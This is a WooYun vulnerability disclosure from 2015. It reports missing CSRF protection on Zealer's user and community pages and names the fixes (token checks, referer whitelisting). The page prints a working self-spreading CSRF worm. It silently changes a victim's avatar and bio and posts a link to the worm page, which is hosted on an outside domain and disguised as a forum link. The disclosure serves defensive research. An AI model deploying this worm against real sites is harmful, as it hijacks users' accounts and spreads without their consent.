当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129972

漏洞标题:Zealer_CSRF_头像、简介、发帖、评论(附蠕虫POC)

相关厂商:ZEALER

漏洞作者: kevinchowsec

提交时间:2015-08-04 12:51

修复时间:2015-09-18 13:22

公开时间:2015-09-18 13:22

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-04: 厂商已经确认,细节仅向厂商公开
2015-08-14: 细节向核心白帽子及相关领域专家公开
2015-08-24: 细节向普通白帽子公开
2015-09-03: 细节向实习白帽子公开
2015-09-18: 细节向公众公开

简要描述:

hi,It's me again,zealer最近可好。

详细说明:

我就简单切入主题吧,
最近开张了社区(http://plus.zealer.com/),
那就要非常注意CSRF蠕虫了。
互动越多,传播的威力就越大。
经检查,
用户中心(http://www.zealer.com/user?type=info)(http://plus.zealer.com/user)的各项敏感操作均无防御CSRF(如增加token或验证referer)。
那么问题来了,如何利用社区互动的力量把CSRF攻击最大化?
我简单编写了一个POC,请看:

漏洞证明:

<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.zealer.com/user/reUpload", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "x=0&y=15.084&w=400.564&h=400.56399999999996&pid=331503";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.zealer.com/user/post", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "description=i+love+zealer.(made+by+kevinchow)";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://plus.zealer.com/sendPost/post", true);
xhr.setRequestHeader("Accept", "application/json, text/javascript, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = true;
var body = "type=&title=%E3%80%8CZealer%E7%A7%91%E6%8A%80%E3%80%8D%E8%8E%B7%E5%BE%97%E4%B8%80%E5%8A%A0%E4%BA%8C%E4%BD%93%E9%AA%8C%E7%9A%84%E5%B0%8F%E8%B4%B4%E5%A3%AB&tags=0&content=%3Cp%3E%E6%88%91%E6%8A%8A%E5%AE%83%E6%94%BE%E5%9C%A8%E8%BF%99%E9%87%8C%E5%B8%96%E5%AD%90%E9%87%8C%E4%BA%86%EF%BC%8C%E8%AF%B7%E7%82%B9%E5%87%BB%EF%BC%9A%3Ca+href%3D%22http%3A%2F%2Fwww.kevinchow.cn%2Fcsrf1.html%22+target%3D%22_self%22+title%3D%22aaaaaaaaa%22%3Ehttp%3A%2F%2Fplus.zealer.com%2Fpost%2F1028%3C%2Fa%3E%3C%2Fp%3E&flag=user&postTAG=&postTest=&postID=";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>


以上这段蠕虫脚本,模拟XMLHttpRequest提交表单到服务端,
当用户访问该蠕虫脚本后,将自动修改其头像、简介、发一封帖子(内容包含这个蠕虫脚本的触发地址)。
以下有一段演示gif:
http://www.kevinchow.cn/images/Zealer_CSRF.gif

修复方案:

1、增加token校验;
2、建立referer白名单。

版权声明:转载请注明来源 kevinchowsec@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-04 13:21

厂商回复:

作者在当天攻击的同时我们已经在做漏洞修复了

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-05 00:29 | kevinchowsec ( 路人 | Rank:12 漏洞数:5 | 周凯文,信息安全爱好者。)

    收到,实际上还有一个bug未审核通过,可以配合该CSRF蠕虫进行传播。

  2. 2015-08-05 09:01 | kevinchowsec ( 路人 | Rank:12 漏洞数:5 | 周凯文,信息安全爱好者。)

    该bug标题为“Zealer_恶意信息传播(回复、发帖、伪装链接)”